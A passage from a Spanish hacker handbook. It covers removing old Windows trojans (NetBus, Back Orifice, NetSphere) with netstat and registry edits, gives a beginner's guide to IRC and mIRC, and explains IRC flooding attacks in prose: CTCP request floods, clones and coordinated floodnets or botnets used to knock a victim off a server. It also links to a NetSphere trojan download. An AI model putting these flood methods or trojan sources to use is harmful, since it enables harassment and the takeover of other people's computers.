Es el "parlantito" (la bocinita) que aparece en la barra de tareas, el programa que nos dá el control del volumen de sonidos de Windows. Si lo cerramos, el parlante (la bocina) desaparece.

C:\WINDOWS\RNAAPP.EXE C:\WINDOWS\TAPISVR.EXE

Page 48: El Libro Negro Del Hacker2

48

Estos dos son los que se ejecutaron cuando nos conectamos a Internet. Si los cerramos la conexión se corta y no podremos volver a conectarnos hasta reiniciar la computadora.

Pues bien, ¿qué nos queda?

C:\WINDOWS\PATCH.EXE C:\WINDOWS\WINDOW.EXE C:\WINDOWS\SYSTEM\ .EXE C:\WINDOWS\SYSTEM\NSSX.EXE

¡Ja! se trata ni más ni menos que de ¡cuatro troyanos! Toda una exageración... Nuestra seguridad (la de nuestros archivos) se ve totalmente violada por culpa de cada uno de estos procesos... ¿Cómo podemos estar seguros de que se trata de troyanos? Eso lo explico en el apartado que viene, pero en el caso de estos cuatro, basta con decir que ya son tán famosos que no hace falta hacer las comprobaciones...

C:\WINDOWS\PATCH.EXE

es el maldito patch del NETBUS

C:\WINDOWS\SYSTEM\ .EXE

es el servidor del Back Orifice

C:\WINDOWS\SYSTEM\NSSX.EXE

es el servidor del NetSphere

C:\WINDOWS\WINDOW.EXE

es un troyano, aunque no sé exactamente cuál... (probablemente SubSeven o una versión levemente modificada del NetBus)

Matando a LOS CUATRO podemos continuar navegando tranquilos, ya que el agresor perdió totalmente su poder. PERO CUIDADO, nuestro sistema seguramente fué modificado para que estos programas se ejecuten cada vez que arrancamos, y como el MataProceso no los borra del disco, sino simplemente los erradica de la memoria, no estamos a salvo de que la próxima vez que reiniciemos ¡los troyanos estén nuevamente allí!

Para librarnos de ellos para siempre leamos los siguientes puntos...

Aclaraciones:

Para que el MataProcesos funcione hace falta tener instalados los 'runtimes' de Visual Basic 5. Si no los tenés los podés conseguir en: ftp://ftp.simtel.net/pub/simtelnet/win95/dll/vb500a.zip o en el mirror: ftp://ftp.cdrom.com/pub/simtelnet/win95/dll/vb500a.zip

Page 49: El Libro Negro Del Hacker2

49

2) Mataprocesos y Netstat, suficiente para erradicar cualquier troyano

Existe una aplicación llamada Netstat, y está ubicada en C:\WINDOWS. Con ella y la ayuda del MataProcesos podemos limpiar nuestra PC de troyanos.

Para hacerlo correctamente hay que seguir los siguientes pasos:

a) Nos desconectamos de Internet b) Cerramos todas las aplicaciones que utilicen conexiones a Internet, por ejemplo: ICQ - Internet Explorer o Netscape - GetRight - Go!Zilla - Telnet - mIRC - MSChat - Outlook - Outlook Express - etc... c) Ejecutamos el MataProcesos d) Ejecutamos una ventana de DOS e) En la línea de comandos del DOS tecleamos "netstat -a" y tomamos nota de todos los "puertos" que aparecen como "abiertos", estos aparecen en la columna "Dirección local" con el formato: <nombre_de_nuestra_pc>:<puerto>

Por ejemplo, podríamos tener el siguiente listado:

Proto Dirección local Dirección remota Estado TCP Donatien:6711 0.0.0.0:0 LISTENING

TCP Donatien:6776 0.0.0.0:0 LISTENING

TCP Donatien:30100 0.0.0.0:0 LISTENING

TCP Donatien:30101 0.0.0.0:0 LISTENING

TCP Donatien:30102 0.0.0.0:0 LISTENING

TCP Donatien:1243 0.0.0.0:0 LISTENING

TCP Donatien:1035 0.0.0.0:0 LISTENING

UDP Donatien:1035 *:*

Lo cual significa que tenemos procesos en nuestro ordenador que están esperando conección en los puertos: 6711, 6776, 30100, 30101, 30102, 1234, y 1035.

f) Comenzamos a matar, uno por uno, los procesos que no sabemos que función cumplen. Si matamos alguno que no debíamos, y el ordenador se bloquea, ya sabemos para la próxima vez que ese proceso no es un troyano, y que no hay que matarlo

Ejemplo: decido matar al proceso llamado:

C:\WINDOWS\SYSTEM\NSSX.EXE

que es muy sospechoso...

Page 50: El Libro Negro Del Hacker2

50

Acto seguido, volvemos a la ventana de DOS y pedimos otro listado de "Netstat -a", que nos devuelve lo siguiente:

Proto Dirección local Dirección remota Estado TCP Donatien:6711 0.0.0.0:0 LISTENING

TCP Donatien:6776 0.0.0.0:0 LISTENING

TCP Donatien:1243 0.0.0.0:0 LISTENING

TCP Donatien:1035 0.0.0.0:0 LISTENING

UDP Donatien:1035 *:*

Por suspuesto!!! Se han cerrado tres puertos!! (30100, 30101 y 30102, que ya no aparecen en el listado) Al estar seguros que NSSX.EXE no pertenece a ningún programa que nosotros hayamos instalado, y de que el sistema continúa ejecutándose sin ningún problema (o sea que no era parte del Windows), podemos cambiarle el nombre al archivo para que no se vuelva a ejecutar la próxima vez que reiniciemos. Para eso usamos el comando "RENAME C:\WINDOWS\SYSTEM\NSSX.EXE C:\WINDOWS\SYSTEM\NSSX.EX_".

Nótese que tán solo le cambiamos la extensión, para, en caso de habernos equivocado, recuperar el archivo fácilmente.

Podemos renombrar al archivo debido a que ya lo matamos. Si el proceso estuviera ejecutándose no podríamos modificar ni borrar el NSSX.EXE

Otro modo de cambiarle el nombre es ir con el Explorador hasta el directorio C:\WINDOWS\SYSTEM, buscar el archivo NSSX.EXE y situados sobre él presionar F2, escribir el nuevo nombre y .

Ahora, aunque no es del todo indispensable, y no es recomendable para los novatos absolutos, podríamos abrir el registro de windows con el REGEDIT y eliminar la entrada que antes ejecutaba el troyano cada vez que encendíamos la máquina. La entrada está dentro de la rama: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run y es la siguiente: "NSSX" y su valor es "C:\WINDOWS\system\nssx.exe"

Para borrarla basta con marcarla con el mouse, pulsar DEL, y confirmar.

Es importante no andar borrando cualquier cosa del registro. Para aprender más sobre qué es el registro y qué programas ejecuta Windows al arrancar, lean la emisión Nro. 16 de esta misma revista en http://dzone.findhere.com . Allí también aprenderán que la rama del registro "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" no es el unico lugar en el cual un troyano puede asegurarse el ser ejecutado en cada sesión.

Page 51: El Libro Negro Del Hacker2

51

El caso de este ejemplo se trataba del famoso NetSphere, un troyano bastante nuevo, que se puede descargar de http://angelfire.com/ar/NetSphere/index2.html . Pueden usarlo para practicar, pero por favor, no sean "Lamers", no lo usen con otras personas, porque dejarían sus máquinas a merced de cualquiera, y si lo usan con ustedes mismos, tengan en cuenta de que no deben conectarse a Internet mientras tengan el troyano instalado. (justamente, para evitar eso es que explico todo esto).

Sigamos con otro ejemplo, sabemos que la lista del "Netstat -a" es ahora más corta:

Proto Dirección local Dirección remota Estado TCP Donatien:6711 0.0.0.0:0 LISTENING

TCP Donatien:6776 0.0.0.0:0 LISTENING

TCP Donatien:1243 0.0.0.0:0 LISTENING

TCP Donatien:1035 0.0.0.0:0 LISTENING

UDP Donatien:1035 *:*

Pues bien, ahora procedamos a cerrar el proceso: C:\WINDOWS\WINDOW.EXE

El sistema sigue perfectamente estable, y volvemos a pedir el "Netstat -a" y...

Proto Dirección local Dirección remota Estado TCP Donatien:1035 0.0.0.0:0 LISTENING

UDP Donatien:1035 *:*

Ohhhhh!! Se han cerrado otros tres puertos! (aclaro que un troyano no necesariamente utiliza 3 puertos, puede utilizar más, o menos).

Próximo paso: renombramos el archivo para que no vuelva a ejecutarse nunca más, vamos a la ventana de DOS, y escribimos: "RENAME C:\WINDOWS\WINDOW.EXE C:\WINDOWS\WINDOW.EX_"

Como ya dije, también podemos eliminar la entrada del registro que lo ejecuta, pero como, habiendo renombrado el archivo, ya no es necesario, lo dejo librado al lector.

Como en mi caso, por experiencia, sé que el puerto 1035 no se trata de un troyano, no voy a continuar matando procesos, pero si tuviera más puertos abiertos, (en el ejemplo que dí al principio había cuatro troyanos y no dos) continuaría haciendolo hasta encontrarlos todos.

Quiero aclarar que no es muy comun que un ordenador esté lleno de troyanos como en estos ejemplos, pero si notan que alguien está molestándolos de un modo extraño cuando entran a Internet, intenten con esta "limpieza".

Page 52: El Libro Negro Del Hacker2

52

Otra aclaración: Si matan procesos que no son troyanos NO HAY PROBLEMA, lo peor que puede ocurrir es que tengan que reiniciar la máquina. Sólo asegurense de no tener archivos sin grabar (como un documento de Word) para no perderlo, al momento de estar haciendo estas comprobaciones.

También cabe aclarar que, aunque yo no conozco ninguno, pueden existir troyanos más "inteligentes", que no tengan puertos abiertos cuando no estamos conectados, a esos hay que detectarlos por un método diferente, o bien, intentar hacerlo mientras estamos conectados a Internet (aunque en ese caso la cosa se complicaría debido a los demás programas que utilizan Internet -como el ICQ- y abren a su vez sus propios puertos, con lo cual la lista se hace más difícil de interpretar).

OK Si lo Deseas bajar Mataprocesos desde Aquí

¿Como funciona la IRC?

El servidor de IRC propiamente dicho no es más que un programa corriendo en background (un daemon) en una máquina determinada (en Unix correría el "ircd"). Los usuarios se conectan a dicha máquina y acceden al servidor en forma de clientes.

Una red IRC se compone de varios servidores corriendo en paralelo y enlazados entre ellos, de forma que se mantegan comunicados (puedan intercambiar mensajes entre ellos). Cuando un usuario se conecta a un servidor determinado, éste (el servidor) lo notifica a los demás servidores que forman parte de la red IRC. Igualmente, cualquier otra acción es notificada a todos los servido- res, de forma que éstos actuan como una unidad. De esta forma el usuario se deja ver en todos los servidores aunque físicamente sólo esté conectado a uno. Esto permite tener muchos usuarios repartidos por diferentes servidores pero que virtualmente es como si estuvieran todos en uno sólo.

La estructura de la red IRC es en forma de árbol (es decir, no puede haber bucles, o "caminos cerrados": partiendo de un nodo no se llegue por ningún camino otra vez a dicho nodo) aunque un tanto especial: cada nodo se ve a sí mismo como el nodo raiz de la red y tiene un grafo en forma de árbol que le indica el camino a seguir para alcanzar cada uno de los restantes nodos. En la "literatura" esto se conoce como "spanning tree", que podríamos traducir como "árbol de expansión". Esto quiere decir que en un momento determinado un nodo cualquiera tendrá almacenada información para alcanzar cada uno de los otros nodos de forma unívoca (tiene un único camino posible hacia cada nodo). Esa información sería el

Page 53: El Libro Negro Del Hacker2

53

árbol que está usando el nodo en cuestión. Pero además este árbol puede ser distinto para el mismo nodo en un instante diferente, es decir, puede cambiar (digamos que el nodo va reconfigurándose). Esto tiene la ventaja de que permite adaptarse a posibles variaciones (eventuales) de la topología de la red (así, si un nodo cae, los restantes nodos lo detectarán y se reconfigurarán de forma que los caminos que antes pasaban por dicho nodo dejen de hacerlo: se tomarían caminos alternativos con lo cual la red seguiría funcionando correctamente a pesar de la caida del nodo).

El paso de un nodo a otro adyacente se conoce como "hop" (salto). Así para alcanzar el nodo 5 partiendo de 4 tendremos que dar 2 saltos (hops): uno de 4 a 2 y otro de 2 a 5.

Podemos visualizar el árbol que está usando el server al que estamos conectados usando el comando "/links". Este sacará un listado por pantalla de los servidores alcanzables desde el nuestro, de forma jerarquizada, es decir, respetando la estructura del árbol. Normalmente se indica entre paréntesis al lado de cada servidor el número de hops que habría que dar para alcanzar cada uno de los nodos partiendo del nuestro.

Cuando se rompe uno de los eslabones (links) que unen 2 servidores el conjunto se divide en 2 subconjuntos, los cuales intentarán seguir funcionando normalmente aunque de forma aislada. Esto es, cada subconjunto permanece operativo y mantiene la comunicación entre los servers pertenecientes a dicho subconjunto. Pero por razones obvias los servidores de un subconjunto no ven a los del otro y viceversa. Esta situación se conoce como net-split. En una sesión normal de IRC esto lo veríamos:

[1:23] *** LAROSA has quit IRC (fuego.irc-hispano.org io.irc-hispano.org)

Esto indica que se han spliteado los dos servidores indicados entre paréntesis y que a consecuencia de ello el usuario Case_Zer0 [ hi Case ;-) ] ha salido "de nuestra red IRC" (lo que está ocurriendo es que se encuentra en el otro subconjunto de servidores: a todos los efectos es que como si se encontrase ya en otra red IRC).

Cuando el enlace caido se recupera (i.e. se reestablece la comunicación entre los servers spliteados) se habla de net-merge. Esto se vería en la sesión anterior como un "join" por parte del usuario que estaba en el servidor spliteado (tanto el quit como el join anteriores son mecanismos del propio IRC, es decir, el usuario anterior no dio ninguna orden de quit ni de join, es transparente a dicho usuario).

Hay programas que detectan y avisan cuando se produce algún net-split o net-merge: son los denominados "link-lookers", y su utilidad es bastante obvia.

Por ejemplo, si el enlace dibujado en rojo (enlace server 2 <-> server 5) cayera, el servidor 5 estaría aislado de la red. Los usuarios de dicho servidor dejarían de ver a todos los demás pertenecientes a servidores distintos, y al contrario. Se dice que el servidor 5 está spliteado. Es fácil reconocer a un servidor en esta situación: si entras en una red a través de un determi-nado servidor y te encuentras a muy poca gente es muy normal que se deba a que está spliteado de la red.

Page 54: El Libro Negro Del Hacker2

54

Otra posibilidad es que el enlace azul (3 <-> 12) cayera. En este caso el servidor 12 se splitea de la red, pero también lo hacen los servidores 13 y 14 indirectamente, por conectarse a través del primero.

Para una información completa del funcionamiento y estructura de una red IRC, y del protocolo subyacente ("Internet Relay Chat Protocol") os remito al RFC1459.

¿ Que es un OP ?

Los canales tienen moderadores denominados operadores o "OP", los cuales controlan el canal, decidiendo quien puede tener acceso (expulsando permanentemente ("banning") algunos usuarios, quien debe salir del canal , expulsando ("kicking") algunos usuarios, y hasta quien tiene derecho a hablar! Los operadores de un canal tienen el control completo del canal, y sus decisiones son definitivas. Si usted es expulsado permanentemente, mándele un mensaje a un operador pidiéndole de buena manera que le permita volver a entrar en el canal.

Pueden haber varios OP's en un canal. En la lista de gente que esta en un canal, se distinguen los OP, porque su nick lleva delante el signo @. Solo hay una forma de llegar a ser OP del canal en el que se encuentre, y es que uno de los OP del canal le haga OP a usted. ¿? Y quien les ha hecho OP's a ellos ? Cuando se crea un canal nuevo, se entra como OP del mismo.

Así que seguramente uno de los Op's del canal fue el que creo el canal.

¿ Que es un IRCOP ?

Los servidores IRC son cuidados por operadores de IRC, o "IRC ops." Los operadores IRC administran los servidores y no se envuelven en asuntos personales en los canales. No son "policías del IRC." o no deberían serlo. Estos usuarios son op en todos los canales donde entren.

¿ Qué es el "modo invisible" ?

Existe una forma especial de estar en el IRC, llamada "modo invisible". Bueno no se hagan ilusiones, si esta pensando que esto le permitira estar dentro de un canal, incluso participando en el, sin que los demas lo vean, algo asi como una especie de fantasma, PUES NO, ESO NO SE PUEDE HACER (¡ y menos mal !). El "modo invisible" consiste en que si usted esta en modo invisible y alguien consulta desde fuera del canal el listado de personas que hay en el (usando el comando /names #canal o /who #canal) no le vera. Sin embargo, si entra en el canal, si que le vera.

Tambien si alguien intenta un /whois nick, le vera aunque este en modo invisible. Tambien si alguien le tiene en su "notify" (una lista de gente, cuya presencia en IRC, queremos que nos sea notificada por el mIRC) tambien se enterara.

Page 55: El Libro Negro Del Hacker2

55

¿ De que sirve entonces estar en "modo invisible" ? Pues la verdad, ciertamente de poco, solo añade un poco de discrecion por su parte, poniendo las cosas un poquitito mas dificiles a quien le ande buscando. Para ponerse en modo invisible use el comando...

/mode nick +i

Ejemplos:

Si su nick es Byte y quiere estar en modo invisible debera hacer esto...

/mode Byte +i

¿ Como puedo grabar las conversaciones ?

El miRC puede registrar en un fichero toda la actividad que se produce en un canal. Esto le permitirá mas tarde, si en estar en línea, ver tranquilamente lo que se dijo o paso, incluso conseguir aquella dirección de correo o URL que alguien comento y que usted no recordaba. Existen dos formas básicas de proceder... Puede activar la opción de registrar todos los canales y privados SIEMPRE (y desactivar si desea algún canal) o mantener desactivada la opción de registro automático, y manualmente activar la opción de registro de un canal, cuando lo desee.

Método 1: (Activar la opción de registro automático de todo, siempre) (LO MEJOR)

En la ventana de opciones del mIRC, elija la pestaña "Logging" y vera algo parecido..

Método 2: (activar/desactivar la opción de registro manualmente) Estando en un canal o privado use el comando /log on para activar el registro y el comando /log off para desactivarlo el registro de ese canal. Tenga en cuenta que si tiene el registro automático activado (según el método 1) solo tiene sentido la opción de desactivar el registro para un canal especifico. Es decir, no existe un comando para activar el registro automático de todos los canales.

¿ Que significa "caerse" del IRC ?

Quiere decir que te desconectas de forma involuntaria del servidor IRC que uso para entrar, es decir ya no esta en el IRC, y tiene que volver a entrar. Las razones de ello pueden ser muy diversas. Por ejemplo, si usted entra en el IRC y no hace nada durante un cierto periodo de tiempo, por ejemplo, entra en un canal y se queda leyendo los mensajes de los demas, pero no participa, el servidor le desconectara (por "iddle"). Otras veces puede ser un simple fallo del servidor, que hara que su conexion al IRC se interrumpa.

¿ Como puedo enterarme de que alguien que conozco ha entrado en el IRC ?

Page 56: El Libro Negro Del Hacker2

56

La "Notify List" es una lista donde puede poner los nicks de la gente que conozca. De esta forma el mIRC le avisara de su presencia en el momento que entren en el IRC. Tambien cuando usted entre el mIRC le avisara si alguno de los nicks de su lista esta en el IRC.

Para añadir un nick a la Notify List debe hacer lo siguiente.

Metodo 1

Saldra la ventana de opciones del mIRC, en ella elija la pestaña "Notify List"

Ejemplo

Si usted ha añadido el nick jaav a su "Notify List" , cuando alguien con este nick entre en el IRC, en la ventana del canal en que se encuentre usted en ese momento, el mIRC le mostrara un aviso parecido al este...

*** jaav is on IRC

Tenga en cuenta, que para que los avisos se realicen en la ventana activa (esto es lo mas comodo) debera activar la opción "Show notifies in active window"

Metodo 2

Una forma bastante mas rapida de añadir un nick a su "Notify List" es usar el comando /notify nick [nota aclaratoria]

Ejemplo

Si desea añadir el nick jaav a su "Notify List" use el siguiente comando...

/notify jaav Jose Andres Alegre

Comandos relacionados...

La Notify List tambien puede ser manejada mediante comandos, desde cualquier ventana de canal o query, sin necesidad de acudir a las opciones.

El comando /notify

Usted también puede agregar/quitar nicks de la lista de notificación usando el comando /notify.

/notify [-shr] on|off|nick [nota]

Usted puede activar o desactivar las notificaciones escribiendo /notify on o bien /notify off respectivamente.

Page 57: El Libro Negro Del Hacker2

57

Las opciones -sh pueden ser usadas para mostrar u ocultar la ventana con la lista de notificaciones respectivamente.

La nota es optativa y le permite especificar una pequeña anotacion sobre cada usuario.

Si usted antepone el simbolo + frente a un nick, mIRC hara un /whois en ese nick como parte de la notificación.Sin embargo, si usted hace esto en muchos nicks, entonces el servidor IRC podría desconectarle por saturación, por tanto, lo mejor es usar esto solamente cuando se necesita de verdad.

Usted puede obligar manualmente al mIRC a actualizar su lista usando el comando /notify sin parámetros.

Ejemplos:

Para añadir el nick Byte a su notify para que el mIRC le avise de su presencia en el IRC, use el siguiente comando...

/notify Byte El autor de La Guía mIRC

Lo mismo pero de forma que el mIRC haga un /whois cada vez que le avise de la presencia...

/notify +Byte El autor de La Guía mIRC

NOTA:Algunas redes de IRC podrían permitirle usar una dirección completa en vez de un nick.La única forma de saber esto es probándolo.

¿Como puedo hablar en privado con alguien ?

Cuando usted escribe en un canal, todos las personas que estan en el pueden leer sus mensajes, pero si quiere hablar con alguien de forma que privada, debera hacer lo siguiente...

Metodo 1

Haga un doble-click sobre el nick con el quiere hablar en privado. mIRC abrira una ventana (ventana de privado), y todo lo que escriban en ella solo lo vera esa persona y usted.

Metodo 2

Ejecute el comando /query nick, para crear la ventana de privado. En esa ventana podran dialogar usted y su interlocutor a solas.

Ejemplo

Page 58: El Libro Negro Del Hacker2

58

Para comennzar un privado con una persona cuyo nick es SAM, ejecute el siguiente comando...

/query SAM

Metodo 3

Existe un tercer metodo de establecer una coversacion privada con alguna persona presente en el IRC, un poco especial... se trata del DCC CHAT, cuyo significado vendria a ser algo como "Charla directa Cliente-Cliente". ¿ Como ?

¿ Que es un bot ?

El termino bot viene de RoBOT. La mejor forma de comprender lo que es un bot, es la siguiente...

Imaginese que usted conecta con el IRC, y se mantiene conectado permanentemente, ademas usted, no interviene para nada, aunque podria hacerlo, sino que es su mIRC el que automaticamnete responde a las acciones de los demas, aunque evidentemente no mantiene ningun tipo de conversacion inteligente, pero si que puede hacer OP a otros, saludar a los que entran en un canal, y realizar otro tipo de acciones. Bueno, pues eso es un bot. Es decir una especie de robot, o mIRC automatizado (mediante un script), que esta siempre conectado al iRC.

Los bots se suelen emplear para mantener siempre abiertos los canales registrados (El canal nunca se cierra porque el canal nunca se vacia, ya que el bot siempre se queda). Son usados generalmente por los administradores del IRC (Ircops) para sus tareas de gestion del IRC. Pueden hacer OP automaticamente a las personas que entran en un canal y que reconocen como OP's registrados del canal. Y otras muchas cosas.

De broma, se suele llamar bot a aquella persona que pasa tanto tiempo en el IRC, que parece que este siempre en el.

¿ Que es un clon ?

El termino clon viene de la palabra clonico (identico). Y consiste en una persona ha entrado en el irc con dos o mas nicks diferentes. De esta forma usted podria estar en un canal y observar que ademas de usted hay dos personas mas en el canal, una con el nick Byte y otra con el nick SAM, pero Byte y SAM son la misma persona!! En ese caso SAM es un clon de Byte (o viceversa).

Mucha gente en sus primeros pasos en el IRC, puede caer en "trampas" de este tipo, en las que se le hace pensar que esta hablando con dos personas distintas, cuando realmente lo esta haciendo con una sola.

Page 59: El Libro Negro Del Hacker2

59

Muchas veces el termino clon y bot se confunden porque el clon (la copia de uno mismo) actua como un robot (bot) a las ordenes del "original" o "principal". En ese caso tendriamos un clon que es un bot.

¿ Como determinar si en el canal existe algun clon ?

Sin la ayuda de un script, es muy laborioso, aunque no es dificil. Si existe una persona en el canal donde nos encontramos, que esta usando dos nicks (es decir tiene un clon) toda la informacion que relativa a cada uno de los nick sera seguramente diferente, asi que mediante un /whois no podremos descubrilo. Pero existe algo que es igual para los dos nicks, pues ambos coresponden a una misma conexion a Internet y es la IP.

Asi que si pedimos la IP de cada uno de los nicks sospechosos y coinciden, es seguro que son un clon.

Para determinar la IP de un nick debera usar el comando /dns nick

¿ Como hacer un clon ?

Para hacer un clon, es decir para poder estar en el IRC con dos nicks diferentes a la vez, debera seguir uno de estos dos procedimientos...

Metodo 1: Si utiliza Win95 y un miRC de 32 bits

1º Entre en el IRC de la forma normal 2º Luego arranque otra copia del mIRC y conecte con otro servidor distinto

(Es decir se trata de usar dos copias del programa mIRC a la vez y conectar con cada una de ellas Los clones normalmente se usan en la guerra, es decir para molestar a alguien o a a lgun canal, o para confundir a algun novato. Aunque tambien hay quien los usa para hacer pruebas.

¿ Que es un script ?

El mIRC tiene algunas secciones programables. Se le pueden añadir menus y crear acciones complejas y dejarlas grabadas al estlio de macros o pequeñas rutinas. Un script es pues esto, un conjunto de comandos que se añaden al mIRC y que usted puede ejecutar cuando desee, consiguiendo hacer algunas cosas que de otra forma serian mucho mas lentas de realizar o mucho mas dificiles. Existen muchos tipos de scripts, los hay especializados en mostrar bonitos dibujos o textos. Aunque la mayoria son de guerra.

Un script de guerra (ataque-defensa) tiene comandos que le permitiran tirar a otra persona del IRC (es decir desconectarlo) o evitar que le tiren a usted. Ademas incluira otras opciones para simplificar o hacer mas rapido el uso del mIRC.

Page 60: El Libro Negro Del Hacker2

60

Un consejo, antes de instalar un script, dedique un tiempo a aprender los comandos del mIRC "a pelo". Los scripts tienen un efecto parecido a las calculadoras, nos vuelven vagos y provocan que se nos olviden algunas tecnicas que realmente son basicas e imprescindibles. Piense que tal vez algun dia no tenga su script a mano y si no sabe realmente usar el mIRC "tal cual" estara realmente perdido.

Hay miles de scripts, aunque la verdad es que muchos son simplemente copias de otros. Los creadores de scripts no tienen forma de proteger sus creaciones. Incluso usted puede instalar un script y estudiarlo y modificarlo a su gusto. Pero cambiarlo, poner su nombre en los creditos y ofrecerlo por ahi como suyo no esta bien.

Otra cosa...tenga precaucion con los scripts. Como programas que son, pueden incluir algun "troyano", es decir, una parte de su codigo puede hacer cosas malvadas, como por ejemplo hacer que alguin mas tenga acceso a su cuenta, leer su correo, borrar sus archivos, etc. Esto no es lo normal. Normalmente la gente que crea scripts es por lo general bien intencionada, pero tenga precaucion con el script que escoje e informese antes sobre el.

¿ Como puedo copiar algun mensaje aparecido en el canal ?

En muchas partes del miRC para copiar algo al portapapeles (para luego pegarlo en otro sitio) tendra que utilizar el metodo tradicional, es decir marcarlo con el raton, y luego pulsar CTRL+C. Pero en la ventana de un canal o de un privado, si usted desea copiar algo que alguien ha escrito, SOLO TENDRA QUE MARCARLO CON EL RATON, cuando suelte el texto YA ESTARA EN EL PORTAPAPELES. Para pegarlo en otro sitio, use la combinacion de teclas CTRL+V. Por ejemplo, puede copiar algun texto aparecido en el canal, para repetirlo. En ese caso marquelo, coloquese en el la caja de texto dle canal y pulse CTRL+V.

Puede copiar algo aparecido en su ventana de status, y luego pegarlo en el canal, para que el resto de personas lo vean.

Si alguin escribe un direccion de una pagina, puede copiarla, marcandola con el raton, y luego pegarla en la caja de la direccion del navegador web que utilize, asi no tendra que teclearla.

¿ Como puedo repetir lo que he escrito ?

El miRC almacena en un buffer todos los comandos y mensajes que vamos escribiendo en cada ventana. Y al estilo del DOSKEY de MS-DOS, podemos recuperar rapidamente cualquier mensaje anterior, para volver a lanzarlo, pulsando de nuevo ENTER.

La combinacion de teclas depende de si esta en modo de linea simple o en modo multilinea.

Si esta en modo de linea simple: Pulse las flechas ariba o abajo

Page 61: El Libro Negro Del Hacker2

61

Si esta en modo multilinea: Pulse CTRL + las las flechas arriba o abajo Puede cambiar el modo de linea en File-Options-Extras, y active o desactive la casilla "Multi-line editbox".

¿ Como puedo hacer sonar un sonido dentro del canal ?

Antes de empezar con eso comprenda esto perfectamente...

Cuando usted active un sonido (un fichero mid o wav) SOLO LO OIRAN LOS QUE TENGAN ESE SONIDO EN SU ORDENADOR (es decir que tengan el mismo fichero). Al reves, si alguien en un canal, activa un sonido, usted solo lo oira si tiene ese fichero en su ordenador. Es decir, lo que hace el miRC de la persona que activa el sonido es mandar una especie de "orden" o "peticion" al resto de miRC's (al suyo y a los demas del canal) para que activen el fichero de sonido en sus equipos. Y si no lo tienen no sonara.

Si alguien activa un sonido y usted no lo tiene, vera en el canal un mensaje de advertencia.

Ejemplo:

Si esta usted en un canal y un usuario llamado klonone activa un sonido (bohemian.mid) y usted no lo tiene, vera algo parecido a esto...

* Sound request: can't find [bohemian.mid] [klonone SOUND]

Para hacer activar un sonido use el siguiente comando... /splay fichero_de_sonido

Ejemplo:

Esta usted en un canal y desea poner un poco de musica. Por ejemplo, activar el sonido, spice.mid. Pare ello haga lo siguiente...

/splay spice.mid

Recuerde que el fichero debera estar en la carpeta donde le dijo al miRC que buscara los sonidos o en una subcarpeta de esta, si no es asi el miRC no lo encontrara, a menos que indique su localizacion, por ejemplo...

/splay c:\sonidos\spice.mid

¿ Como puedo parar un sonido ?

Cuando algun usuario active un fichero de sonido, este sonara en su equipo hasta que se acabe.

Pero si le resulta especialmente molesto...puede pararlo usando el comando

Page 62: El Libro Negro Del Hacker2

62

/splay stop

FLOOD (UN CLASICO)

Los servidores IRC tienen que controlar el tráfico de entrada (el que proviene del exterior) para evitar su congestión. Una de las formas de conseguirlo es no permitir que un cliente le mande más de una determinada cantidad de información en un pequeño intervalo de tiempo; o lo que es lo mismo: la velocidad con que un cliente puede enviar datos al servidor está limitada.

Cuando un cliente supera el límite preestablecido por el servidor, éste cierra la conexión con el cliente: lo echa del servidor porque no puede soportar tanto caudal de entrada. El servidor lo "explica" así:

[1:59] *** ^TkLaS^ has quit IRC (Excess Flood)

Un flood, en general, no es otra cosa que mandar mucha información en poco tiempo a alguien para intentar que se sature. La manera de aprovechar el flood en nuestro favor consiste en mandar muchas peticiones de información a nuestra víctima, de forma que ésta, al contestar, supere el límite del servidor y éste lo eche. Por ejemplo, si le mandamos muchos /ctcp version's seguidos (requiriendo información sobre el programa cliente que está utilizando) la víctima floodeará al servidor cuando conteste porque mandará muchas veces (tantas como peticiones haya habido) el texto de respuesta al servidor (para que del servidor vaya al cliente que peticionó, i.e., al atacante).

En esto del flood juega un papel muy importante el número de peticiones que se reciben en un pequeño intervalo de tiempo. Cuantas más se reciban, más posibilidades hay de que el flood tenga éxito. Por ello no es ninguna tontería mandar peticiones desde varios puntos a la vez, y no desde uno sólo, es decir, varios usuarios (¡que podrían ser una misma persona!) de la red IRC manden peticiones a la víctima todos a la vez en un determinado momento. Si los usuarios (nicks) corresponden a una misma persona (una misma dirección IP) se habla de clones. Por tanto, una posible forma de ataque sería crearnos muchos clones y peticionar a la vez desde todos ellos a la víctima.

Pero los servidores también suelen estar preparados para evitar muchos clones (cada clone ocupa, por decirlo de alguna manera, una "linea" de entrada al servidor, y esto consume recursos del mismo). Suele haber un máximo permitido (en el irc hispano es 2) denegándosele el acceso a la red a un tercer clone, o en caso de que éste lo consiguiese expulsándosele del servidor ("matándolo") (el programa servidor revisa periódicamente las IP's conectadas y detecta cuando hay varios usuarios con una misma dirección IP):

[1:32] *** ^Virus^ has quit IRC (Killed (Clones!))

Se puede cambiar el número máximo de clones admisibles desde una determinada dirección IP o dominio añadiendo una I-Line al servidor IRC (en caso de no existir I-Line para esa dirección IP en particular se usa el máximo genérico definido). Esto lo debe hacer algún

Page 63: El Libro Negro Del Hacker2

63

administrador de la red IRC y es lo que habitualmente se usa para dar acceso a entidades con muchos ordenadores accediendo a Internet desde una misma IP (como es el caso de la mayoría de cyber-cafés).

¿Cómo provocar un flood con más de 2 clones entonces? La respuesta es simple:

en principio no se puede. ¿Entonces? Pues la solución es que varias personas distintas se pongan de acuerdo para atacar a la vez a la víctima. Cada persona podría tener a su vez varios clones. Por ejemplo, si A (atacante) quiere atacar a V (víctima), A se pone de acuerdo con B y C (otras 2 personas atacantes). A su vez supongamos que cada atacante tiene 2 clones: i.1 e i.2 (donde i=A,B,C). Entonces tendremos 6 usuarios (conexiones IRC) distintos atacando a V, que serían A.1, A.2, B.1, B.2, C.1 y C.2. Pero hay un problema: ¿cómo sincronizarse para atacar? ¿Cómo "ponerse de acuerdo" para mandar las peticiones en un determinado momento? Para esto existe lo que se denomina "floodnet" que, como habrá adivinado nuestro ávido lector, es una "red" (asociación) de gente cuyo único objetivo es floodear a alguien. La ventaja que tiene es que la sincroniza-ción entre los distintos componentes de la floodnet es automática (lo hacen los scripts) lo cual resuelve el problema anterior. También existe lo que se denomina "botnet" y que es análogo a la floodnet pero usando bots (no confundir con los "de servicio"; estos últimos los ponen los servers de la red irc y no los usuarios) los cuales serán lanzados desde alguna shell Unix (intérprete de comandos en una máquina Unix). Los bots suelen estar prohibidos y cuando se detectan, a lo menos, son expulsados:

[1:32] *** Viernes13 has quit IRC (Killed (You are not welcome to this network!))

Protección:

